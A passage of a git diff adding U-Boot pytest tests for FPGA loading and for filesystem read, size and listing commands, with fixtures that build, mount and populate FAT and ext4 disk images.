+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+ u_boot_console.run_command('imi %x' % (addr))
+ # FIXME this should fail - broken support in past
+ u_boot_console.run_command('setenv fpgadata %x:fpga' % (addr))
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x && echo %s' % (dev, expected_text))
+ u_boot_console.run_command('setenv fpgadata')
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_variable(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ u_boot_console.run_command('setenv fpga %x' % (dev))
+ u_boot_console.run_command('setenv fpgadata %x:fpga' % (addr))
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk && echo %s' % (expected_text))
+ u_boot_console.run_command('setenv fpga')
+ u_boot_console.run_command('setenv fpgadata')
+ assert expected_text in output
+
+###### FPGA LOAD tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_loadfs_fail(u_boot_console):
+ dev, f = check_dev(u_boot_console)
+
+ addr = f.get('addr', -1)
+ if addr < 0:
+ pytest.fail('No address specified via env__fpga_under_test')
+
+ bit = f['loadfs']
+ bit_size = f['loadfs_size']
+ block_size = f['loadfs_block_size']
+
+ # less params - dev number removed
+ expected = 'fpga: incorrect parameters passed'
+ output = u_boot_console.run_command('fpga loadfs %x %x %x %s' % (addr, bit_size, block_size, bit))
+ #assert expected in output
+ assert expected_usage in output
+
+ # one more param - 0 at the end
+ # This is the longest command that's why there is no message from cmd/fpga.c
+ output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s 0' % (dev, addr, bit_size, block_size, bit))
+ assert expected_usage in output
+
+ # zero address 0
+ expected = 'fpga: zero fpga_data address'
+ output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s' % (dev, 0, bit_size, block_size, bit))
+ #assert expected in output
+ assert expected_usage in output
+
+ # bit_size 0
+ expected = 'fpga: zero size'
+ output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s' % (dev, addr, 0, block_size, bit))
+ #assert expected in output
+ assert expected_usage in output
+
+ # block size 0
+ # FIXME this should pass but it failing too
+ output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s' % (dev, addr, bit_size, 0, bit))
+ assert expected_usage in output
+
+ # non existing bitstream name
+ expected = 'Unable to read file noname'
+ output = u_boot_console.run_command('fpga loadfs %x %x %x %x mmc 0 noname' % (dev, addr, bit_size, block_size))
+ assert expected in output
+ assert expected_usage in output
+
+ # -1 dev number
+ expected = 'fpga_fsload: Invalid device number -1'
+ output = u_boot_console.run_command('fpga loadfs %d %x %x %x mmc 0 noname' % (-1, addr, bit_size, block_size))
+ assert expected in output
+ assert expected_usage in output
+
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadfs(u_boot_console):
+ dev, f = check_dev(u_boot_console)
+
+ addr = f.get('addr', -1)
+ if addr < 0:
+ pytest.fail('No address specified via env__fpga_under_test')
+
+ bit = f['loadfs']
+ bit_size = f['loadfs_size']
+ block_size = f['loadfs_block_size']
+
+ # This should be done better
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s && echo %s' % (dev, addr, bit_size, block_size, bit, expected_text))
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_load_secure')
+@pytest.mark.buildconfigspec('cmd_net')
+@pytest.mark.buildconfigspec('cmd_dhcp')
+@pytest.mark.buildconfigspec('net')
+def test_fpga_secure_bit_auth(u_boot_console):
+
+ test_net.test_net_dhcp(u_boot_console)
+ test_net.test_net_setup_static(u_boot_console)
+
+ f = u_boot_console.config.env.get('env__fpga_secure_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file to read')
+
+ addr = f.get('addr', None)
+ if not addr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ expected_tftp = 'Bytes transferred = '
+ fn = f['fn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+ assert expected_tftp in output
+
+ expected_zynqmpsecure = 'Bitstream successfully loaded'
+ output = u_boot_console.run_command('fpga loads 0 %x $filesize 0 2' % (addr))
+ assert expected_zynqmpsecure in output
+
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_load_secure')
+@pytest.mark.buildconfigspec('cmd_net')
+@pytest.mark.buildconfigspec('cmd_dhcp')
+@pytest.mark.buildconfigspec('net')
+def test_fpga_secure_bit_img_auth_kup(u_boot_console):
+
+ test_net.test_net_dhcp(u_boot_console)
+ test_net.test_net_setup_static(u_boot_console)
+
+ f = u_boot_console.config.env.get('env__fpga_secure_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file to read')
+
+ keyaddr = f.get('keyaddr', None)
+ if not keyaddr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ expected_tftp = 'Bytes transferred = '
+ keyfn = f['keyfn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (keyaddr, keyfn))
+ assert expected_tftp in output
+
+ addr = f.get('addr', None)
+ if not addr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ expected_tftp = 'Bytes transferred = '
+ fn = f['enckupfn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+ assert expected_tftp in output
+
+ expected_zynqmpsecure = 'Bitstream successfully loaded'
+ output = u_boot_console.run_command('fpga loads 0 %x $filesize 0 1 %x' % (addr, keyaddr))
+ assert expected_zynqmpsecure in output
diff --git a/test/py/tests/test_fs/conftest.py b/test/py/tests/test_fs/conftest.py
new file mode 100644
index 00000000000..fca54488374
--- /dev/null
+++ b/test/py/tests/test_fs/conftest.py
@@ -0,0 +1,674 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi <takahiro.akashi@linaro.org>
+
+import os
+import os.path
+import pytest
+import re
+from subprocess import call, check_call, check_output, CalledProcessError
+from fstest_defs import *
+import u_boot_utils as util
+# pylint: disable=E0611
+from tests import fs_helper
+
+supported_fs_basic = ['fat16', 'fat32', 'ext4']
+supported_fs_ext = ['fat12', 'fat16', 'fat32']
+supported_fs_fat = ['fat12', 'fat16']
+supported_fs_mkdir = ['fat12', 'fat16', 'fat32']
+supported_fs_unlink = ['fat12', 'fat16', 'fat32']
+supported_fs_symlink = ['ext4']
+
+#
+# Filesystem test specific setup
+#
+def pytest_addoption(parser):
+ """Enable --fs-type option.
+
+ See pytest_configure() about how it works.
+
+ Args:
+ parser: Pytest command-line parser.
+
+ Returns:
+ Nothing.
+ """
+ parser.addoption('--fs-type', action='append', default=None,
+ help='Targeting Filesystem Types')
+
+def pytest_configure(config):
+ """Restrict a file system(s) to be tested.
+
+ A file system explicitly named with --fs-type option is selected
+ if it belongs to a default supported_fs_xxx list.
+ Multiple options can be specified.
+
+ Args:
+ config: Pytest configuration.
+
+ Returns:
+ Nothing.
+ """
+ global supported_fs_basic
+ global supported_fs_ext
+ global supported_fs_fat
+ global supported_fs_mkdir
+ global supported_fs_unlink
+ global supported_fs_symlink
+
+ def intersect(listA, listB):
+ return [x for x in listA if x in listB]
+
+ supported_fs = config.getoption('fs_type')
+ if supported_fs:
+ print('*** FS TYPE modified: %s' % supported_fs)
+ supported_fs_basic = intersect(supported_fs, supported_fs_basic)
+ supported_fs_ext = intersect(supported_fs, supported_fs_ext)
+ supported_fs_fat = intersect(supported_fs, supported_fs_fat)
+ supported_fs_mkdir = intersect(supported_fs, supported_fs_mkdir)
+ supported_fs_unlink = intersect(supported_fs, supported_fs_unlink)
+ supported_fs_symlink = intersect(supported_fs, supported_fs_symlink)
+
+def pytest_generate_tests(metafunc):
+ """Parametrize fixtures, fs_obj_xxx
+
+ Each fixture will be parametrized with a corresponding support_fs_xxx
+ list.
+
+ Args:
+ metafunc: Pytest test function.
+
+ Returns:
+ Nothing.
+ """
+ if 'fs_obj_basic' in metafunc.fixturenames:
+ metafunc.parametrize('fs_obj_basic', supported_fs_basic,
+ indirect=True, scope='module')
+ if 'fs_obj_ext' in metafunc.fixturenames:
+ metafunc.parametrize('fs_obj_ext', supported_fs_ext,
+ indirect=True, scope='module')
+ if 'fs_obj_fat' in metafunc.fixturenames:
+ metafunc.parametrize('fs_obj_fat', supported_fs_fat,
+ indirect=True, scope='module')
+ if 'fs_obj_mkdir' in metafunc.fixturenames:
+ metafunc.parametrize('fs_obj_mkdir', supported_fs_mkdir,
+ indirect=True, scope='module')
+ if 'fs_obj_unlink' in metafunc.fixturenames:
+ metafunc.parametrize('fs_obj_unlink', supported_fs_unlink,
+ indirect=True, scope='module')
+ if 'fs_obj_symlink' in metafunc.fixturenames:
+ metafunc.parametrize('fs_obj_symlink', supported_fs_symlink,
+ indirect=True, scope='module')
+
+#
+# Helper functions
+#
+def fstype_to_ubname(fs_type):
+ """Convert a file system type to an U-Boot specific string
+
+ A generated string can be used as part of file system related commands
+ or a config name in u-boot. Currently fat16 and fat32 are handled
+ specifically.
+
+ Args:
+ fs_type: File system type.
+
+ Return:
+ A corresponding string for file system type.
+ """
+ if re.match('fat', fs_type):
+ return 'fat'
+ else:
+ return fs_type
+
+def check_ubconfig(config, fs_type):
+ """Check whether a file system is enabled in u-boot configuration.
+
+ This function is assumed to be called in a fixture function so that
+ the whole test cases will be skipped if a given file system is not
+ enabled.
+
+ Args:
+ fs_type: File system type.
+
+ Return:
+ Nothing.
+ """
+ if not config.buildconfig.get('config_cmd_%s' % fs_type, None):
+ pytest.skip('.config feature "CMD_%s" not enabled' % fs_type.upper())
+ if not config.buildconfig.get('config_%s_write' % fs_type, None):
+ pytest.skip('.config feature "%s_WRITE" not enabled'
+ % fs_type.upper())
+
+# from test/py/conftest.py
+def tool_is_in_path(tool):
+ """Check whether a given command is available on host.
+
+ Args:
+ tool: Command name.
+
+ Return:
+ True if available, False if not.
+ """
+ for path in os.environ['PATH'].split(os.pathsep):
+ fn = os.path.join(path, tool)
+ if os.path.isfile(fn) and os.access(fn, os.X_OK):
+ return True
+ return False
+
+fuse_mounted = False
+
+def mount_fs(fs_type, device, mount_point):
+ """Mount a volume.
+
+ Args:
+ fs_type: File system type.
+ device: Volume's file name.
+ mount_point: Mount point.
+
+ Return:
+ Nothing.
+ """
+ global fuse_mounted
+
+ try:
+ check_call('guestmount --pid-file guestmount.pid -a %s -m /dev/sda %s'
+ % (device, mount_point), shell=True)
+ fuse_mounted = True
+ return
+ except CalledProcessError:
+ fuse_mounted = False
+
+ mount_opt = 'loop,rw'
+ if re.match('fat', fs_type):
+ mount_opt += ',umask=0000'
+
+ check_call('sudo mount -o %s %s %s'
+ % (mount_opt, device, mount_point), shell=True)
+
+ # may not be effective for some file systems
+ check_call('sudo chmod a+rw %s' % mount_point, shell=True)
+
+def umount_fs(mount_point):
+ """Unmount a volume.
+
+ Args:
+ mount_point: Mount point.
+
+ Return:
+ Nothing.
+ """
+ if fuse_mounted:
+ call('sync')
+ call('guestunmount %s' % mount_point, shell=True)
+
+ try:
+ with open("guestmount.pid", "r") as pidfile:
+ pid = int(pidfile.read())
+ util.waitpid(pid, kill=True)
+ os.remove("guestmount.pid")
+
+ except FileNotFoundError:
+ pass
+
+ else:
+ call('sudo umount %s' % mount_point, shell=True)
+
+#
+# Fixture for basic fs test
+# derived from test/fs/fs-test.sh
+#
+@pytest.fixture()
+def fs_obj_basic(request, u_boot_config):
+ """Set up a file system to be used in basic fs test.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A fixture for basic fs test, i.e. a triplet of file system type,
+ volume file name and a list of MD5 hashes.
+ """
+ fs_type = request.param
+ fs_img = ''
+
+ fs_ubtype = fstype_to_ubname(fs_type)
+ check_ubconfig(u_boot_config, fs_ubtype)
+
+ mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+ small_file = mount_dir + '/' + SMALL_FILE
+ big_file = mount_dir + '/' + BIG_FILE
+
+ try:
+
+ # 3GiB volume
+ fs_img = fs_helper.mk_fs(u_boot_config, fs_type, 0xc0000000, '3GB')
+ except CalledProcessError as err:
+ pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+ return
+
+ try:
+ check_call('mkdir -p %s' % mount_dir, shell=True)
+ except CalledProcessError as err:
+ pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Mount the image so we can populate it.
+ mount_fs(fs_type, fs_img, mount_dir)
+ except CalledProcessError as err:
+ pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Create a subdirectory.
+ check_call('mkdir %s/SUBDIR' % mount_dir, shell=True)
+
+ # Create big file in this image.
+ # Note that we work only on the start 1MB, couple MBs in the 2GB range
+ # and the last 1 MB of the huge 2.5GB file.
+ # So, just put random values only in those areas.
+ check_call('dd if=/dev/urandom of=%s bs=1M count=1'
+ % big_file, shell=True)
+ check_call('dd if=/dev/urandom of=%s bs=1M count=2 seek=2047'
+ % big_file, shell=True)
+ check_call('dd if=/dev/urandom of=%s bs=1M count=1 seek=2499'
+ % big_file, shell=True)
+
+ # Create a small file in this image.
+ check_call('dd if=/dev/urandom of=%s bs=1M count=1'
+ % small_file, shell=True)
+
+ # Delete the small file copies which possibly are written as part of a
+ # previous test.
+ # check_call('rm -f "%s.w"' % MB1, shell=True)
+ # check_call('rm -f "%s.w2"' % MB1, shell=True)
+
+ # Generate the md5sums of reads that we will test against small file
+ out = check_output(
+ 'dd if=%s bs=1M skip=0 count=1 2> /dev/null | md5sum'
+ % small_file, shell=True).decode()
+ md5val = [ out.split()[0] ]
+
+ # Generate the md5sums of reads that we will test against big file
+ # One from beginning of file.
+ out = check_output(
+ 'dd if=%s bs=1M skip=0 count=1 2> /dev/null | md5sum'
+ % big_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ # One from end of file.
+ out = check_output(
+ 'dd if=%s bs=1M skip=2499 count=1 2> /dev/null | md5sum'
+ % big_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ # One from the last 1MB chunk of 2GB
+ out = check_output(
+ 'dd if=%s bs=1M skip=2047 count=1 2> /dev/null | md5sum'
+ % big_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ # One from the start 1MB chunk from 2GB
+ out = check_output(
+ 'dd if=%s bs=1M skip=2048 count=1 2> /dev/null | md5sum'
+ % big_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ # One 1MB chunk crossing the 2GB boundary
+ out = check_output(
+ 'dd if=%s bs=512K skip=4095 count=2 2> /dev/null | md5sum'
+ % big_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ except CalledProcessError as err:
+ pytest.skip('Setup failed for filesystem: ' + fs_type + '. {}'.format(err))
+ umount_fs(mount_dir)
+ return
+ else:
+ umount_fs(mount_dir)
+ yield [fs_ubtype, fs_img, md5val]
+ finally:
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for extended fs test
+#
+@pytest.fixture()
+def fs_obj_ext(request, u_boot_config):
+ """Set up a file system to be used in extended fs test.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A fixture for extended fs test, i.e. a triplet of file system type,
+ volume file name and a list of MD5 hashes.
+ """
+ fs_type = request.param
+ fs_img = ''
+
+ fs_ubtype = fstype_to_ubname(fs_type)
+ check_ubconfig(u_boot_config, fs_ubtype)
+
+ mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+ min_file = mount_dir + '/' + MIN_FILE
+ tmp_file = mount_dir + '/tmpfile'
+
+ try:
+
+ # 128MiB volume
+ fs_img = fs_helper.mk_fs(u_boot_config, fs_type, 0x8000000, '128MB')
+ except CalledProcessError as err:
+ pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+ return
+
+ try:
+ check_call('mkdir -p %s' % mount_dir, shell=True)
+ except CalledProcessError as err:
+ pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Mount the image so we can populate it.
+ mount_fs(fs_type, fs_img, mount_dir)
+ except CalledProcessError as err:
+ pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Create a test directory
+ check_call('mkdir %s/dir1' % mount_dir, shell=True)
+
+ # Create a small file and calculate md5
+ check_call('dd if=/dev/urandom of=%s bs=1K count=20'
+ % min_file, shell=True)
+ out = check_output(
+ 'dd if=%s bs=1K 2> /dev/null | md5sum'
+ % min_file, shell=True).decode()
+ md5val = [ out.split()[0] ]
+
+ # Calculate md5sum of Test Case 4
+ check_call('dd if=%s of=%s bs=1K count=20'
+ % (min_file, tmp_file), shell=True)
+ check_call('dd if=%s of=%s bs=1K seek=5 count=20'
+ % (min_file, tmp_file), shell=True)
+ out = check_output('dd if=%s bs=1K 2> /dev/null | md5sum'
+ % tmp_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ # Calculate md5sum of Test Case 5
+ check_call('dd if=%s of=%s bs=1K count=20'
+ % (min_file, tmp_file), shell=True)
+ check_call('dd if=%s of=%s bs=1K seek=5 count=5'
+ % (min_file, tmp_file), shell=True)
+ out = check_output('dd if=%s bs=1K 2> /dev/null | md5sum'
+ % tmp_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ # Calculate md5sum of Test Case 7
+ check_call('dd if=%s of=%s bs=1K count=20'
+ % (min_file, tmp_file), shell=True)
+ check_call('dd if=%s of=%s bs=1K seek=20 count=20'
+ % (min_file, tmp_file), shell=True)
+ out = check_output('dd if=%s bs=1K 2> /dev/null | md5sum'
+ % tmp_file, shell=True).decode()
+ md5val.append(out.split()[0])
+
+ check_call('rm %s' % tmp_file, shell=True)
+ except CalledProcessError:
+ pytest.skip('Setup failed for filesystem: ' + fs_type)
+ umount_fs(mount_dir)
+ return
+ else:
+ umount_fs(mount_dir)
+ yield [fs_ubtype, fs_img, md5val]
+ finally:
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for mkdir test
+#
+@pytest.fixture()
+def fs_obj_mkdir(request, u_boot_config):
+ """Set up a file system to be used in mkdir test.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A fixture for mkdir test, i.e. a duplet of file system type and
+ volume file name.
+ """
+ fs_type = request.param
+ fs_img = ''
+
+ fs_ubtype = fstype_to_ubname(fs_type)
+ check_ubconfig(u_boot_config, fs_ubtype)
+
+ try:
+ # 128MiB volume
+ fs_img = fs_helper.mk_fs(u_boot_config, fs_type, 0x8000000, '128MB')
+ except:
+ pytest.skip('Setup failed for filesystem: ' + fs_type)
+ return
+ else:
+ yield [fs_ubtype, fs_img]
+ call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for unlink test
+#
+@pytest.fixture()
+def fs_obj_unlink(request, u_boot_config):
+ """Set up a file system to be used in unlink test.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A fixture for unlink test, i.e. a duplet of file system type and
+ volume file name.
+ """
+ fs_type = request.param
+ fs_img = ''
+
+ fs_ubtype = fstype_to_ubname(fs_type)
+ check_ubconfig(u_boot_config, fs_ubtype)
+
+ mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+ try:
+
+ # 128MiB volume
+ fs_img = fs_helper.mk_fs(u_boot_config, fs_type, 0x8000000, '128MB')
+ except CalledProcessError as err:
+ pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+ return
+
+ try:
+ check_call('mkdir -p %s' % mount_dir, shell=True)
+ except CalledProcessError as err:
+ pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Mount the image so we can populate it.
+ mount_fs(fs_type, fs_img, mount_dir)
+ except CalledProcessError as err:
+ pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Test Case 1 & 3
+ check_call('mkdir %s/dir1' % mount_dir, shell=True)
+ check_call('dd if=/dev/urandom of=%s/dir1/file1 bs=1K count=1'
+ % mount_dir, shell=True)
+ check_call('dd if=/dev/urandom of=%s/dir1/file2 bs=1K count=1'
+ % mount_dir, shell=True)
+
+ # Test Case 2
+ check_call('mkdir %s/dir2' % mount_dir, shell=True)
+ for i in range(0, 20):
+ check_call('mkdir %s/dir2/0123456789abcdef%02x'
+ % (mount_dir, i), shell=True)
+
+ # Test Case 4
+ check_call('mkdir %s/dir4' % mount_dir, shell=True)
+
+ # Test Case 5, 6 & 7
+ check_call('mkdir %s/dir5' % mount_dir, shell=True)
+ check_call('dd if=/dev/urandom of=%s/dir5/file1 bs=1K count=1'
+ % mount_dir, shell=True)
+
+ except CalledProcessError:
+ pytest.skip('Setup failed for filesystem: ' + fs_type)
+ umount_fs(mount_dir)
+ return
+ else:
+ umount_fs(mount_dir)
+ yield [fs_ubtype, fs_img]
+ finally:
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for symlink fs test
+#
+@pytest.fixture()
+def fs_obj_symlink(request, u_boot_config):
+ """Set up a file system to be used in symlink fs test.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A fixture for basic fs test, i.e. a triplet of file system type,
+ volume file name and a list of MD5 hashes.
+ """
+ fs_type = request.param
+ fs_img = ''
+
+ fs_ubtype = fstype_to_ubname(fs_type)
+ check_ubconfig(u_boot_config, fs_ubtype)
+
+ mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+ small_file = mount_dir + '/' + SMALL_FILE
+ medium_file = mount_dir + '/' + MEDIUM_FILE
+
+ try:
+
+ # 1GiB volume
+ fs_img = fs_helper.mk_fs(u_boot_config, fs_type, 0x40000000, '1GB')
+ except CalledProcessError as err:
+ pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+ return
+
+ try:
+ check_call('mkdir -p %s' % mount_dir, shell=True)
+ except CalledProcessError as err:
+ pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Mount the image so we can populate it.
+ mount_fs(fs_type, fs_img, mount_dir)
+ except CalledProcessError as err:
+ pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+ return
+
+ try:
+ # Create a subdirectory.
+ check_call('mkdir %s/SUBDIR' % mount_dir, shell=True)
+
+ # Create a small file in this image.
+ check_call('dd if=/dev/urandom of=%s bs=1M count=1'
+ % small_file, shell=True)
+
+ # Create a medium file in this image.
+ check_call('dd if=/dev/urandom of=%s bs=10M count=1'
+ % medium_file, shell=True)
+
+ # Generate the md5sums of reads that we will test against small file
+ out = check_output(
+ 'dd if=%s bs=1M skip=0 count=1 2> /dev/null | md5sum'
+ % small_file, shell=True).decode()
+ md5val = [out.split()[0]]
+ out = check_output(
+ 'dd if=%s bs=10M skip=0 count=1 2> /dev/null | md5sum'
+ % medium_file, shell=True).decode()
+ md5val.extend([out.split()[0]])
+
+ except CalledProcessError:
+ pytest.skip('Setup failed for filesystem: ' + fs_type)
+ umount_fs(mount_dir)
+ return
+ else:
+ umount_fs(mount_dir)
+ yield [fs_ubtype, fs_img, md5val]
+ finally:
+ call('rmdir %s' % mount_dir, shell=True)
+ call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for fat test
+#
+@pytest.fixture()
+def fs_obj_fat(request, u_boot_config):
+ """Set up a file system to be used in fat test.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A fixture for fat test, i.e. a duplet of file system type and
+ volume file name.
+ """
+
+ # the maximum size of a FAT12 filesystem resulting in 4084 clusters
+ MAX_FAT12_SIZE = 261695 * 1024
+
+ # the minimum size of a FAT16 filesystem that can be created with
+ # mkfs.vfat resulting in 4087 clusters
+ MIN_FAT16_SIZE = 8208 * 1024
+
+ fs_type = request.param
+ fs_img = ''
+
+ fs_ubtype = fstype_to_ubname(fs_type)
+ check_ubconfig(u_boot_config, fs_ubtype)
+
+ fs_size = MAX_FAT12_SIZE if fs_type == 'fat12' else MIN_FAT16_SIZE
+
+ try:
+ # the volume size depends on the filesystem
+ fs_img = fs_helper.mk_fs(u_boot_config, fs_type, fs_size, f'{fs_size}', 1024)
+ except:
+ pytest.skip('Setup failed for filesystem: ' + fs_type)
+ return
+ else:
+ yield [fs_ubtype, fs_img]
+ call('rm -f %s' % fs_img, shell=True)
diff --git a/test/py/tests/test_fs/fstest_defs.py b/test/py/tests/test_fs/fstest_defs.py
new file mode 100644
index 00000000000..35b2bb65183
--- /dev/null
+++ b/test/py/tests/test_fs/fstest_defs.py
@@ -0,0 +1,16 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+# $MIN_FILE is the name of the 20KB file in the file system image
+MIN_FILE='testfile'
+
+# $SMALL_FILE is the name of the 1MB file in the file system image
+SMALL_FILE='1MB.file'
+
+# $MEDIUM_FILE is the name of the 10MB file in the file system image
+MEDIUM_FILE='10MB.file'
+
+# $BIG_FILE is the name of the 2.5GB file in the file system image
+BIG_FILE='2.5GB.file'
+
+ADDR=0x01000008
+LENGTH=0x00100000
diff --git a/test/py/tests/test_fs/fstest_helpers.py b/test/py/tests/test_fs/fstest_helpers.py
new file mode 100644
index 00000000000..faec2982489
--- /dev/null
+++ b/test/py/tests/test_fs/fstest_helpers.py
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2019, Texas Instrument
+# Author: JJ Hiblot <jjhiblot@ti.com>
+#
+
+from subprocess import check_call, CalledProcessError
+
+def assert_fs_integrity(fs_type, fs_img):
+ try:
+ if fs_type == 'ext4':
+ check_call('fsck.ext4 -n -f %s' % fs_img, shell=True)
+ except CalledProcessError:
+ raise
diff --git a/test/py/tests/test_fs/test_basic.py b/test/py/tests/test_fs/test_basic.py
new file mode 100644
index 00000000000..71f3e86fb18
--- /dev/null
+++ b/test/py/tests/test_fs/test_basic.py
@@ -0,0 +1,292 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi <takahiro.akashi@linaro.org>
+#
+# U-Boot File System:Basic Test
+
+"""
+This test verifies basic read/write operation on file system.
+"""
+
+import pytest
+import re
+from fstest_defs import *
+from fstest_helpers import assert_fs_integrity
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestFsBasic(object):
+ def test_fs1(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 1 - ls command, listing a root directory and invalid directory
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 1a - ls'):
+ # Test Case 1 - ls
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sls host 0:0' % fs_type])
+ assert(re.search('2621440000 *%s' % BIG_FILE, ''.join(output)))
+ assert(re.search('1048576 *%s' % SMALL_FILE, ''.join(output)))
+
+ with u_boot_console.log.section('Test Case 1b - ls (invalid dir)'):
+ # In addition, test with a nonexistent directory to see if we crash.
+ output = u_boot_console.run_command(
+ '%sls host 0:0 invalid_d' % fs_type)
+ if fs_type == 'ext4':
+ assert('Can not find directory' in output)
+ else:
+ assert('' == output)
+
+ def test_fs2(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 2 - size command for a small file
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 2a - size (small)'):
+ # 1MB is 0x0010 0000
+ # Test Case 2a - size of small file
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%ssize host 0:0 /%s' % (fs_type, SMALL_FILE),
+ 'printenv filesize',
+ 'setenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ with u_boot_console.log.section('Test Case 2b - size (/../<file>)'):
+ # Test Case 2b - size of small file via a path using '..'
+ output = u_boot_console.run_command_list([
+ '%ssize host 0:0 /SUBDIR/../%s' % (fs_type, SMALL_FILE),
+ 'printenv filesize',
+ 'setenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ def test_fs3(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 3 - size command for a large file
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 3 - size (large)'):
+ # 2.5GB (1024*1024*2500) is 0x9C40 0000
+ # Test Case 3 - size of big file
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%ssize host 0:0 /%s' % (fs_type, BIG_FILE),
+ 'printenv filesize',
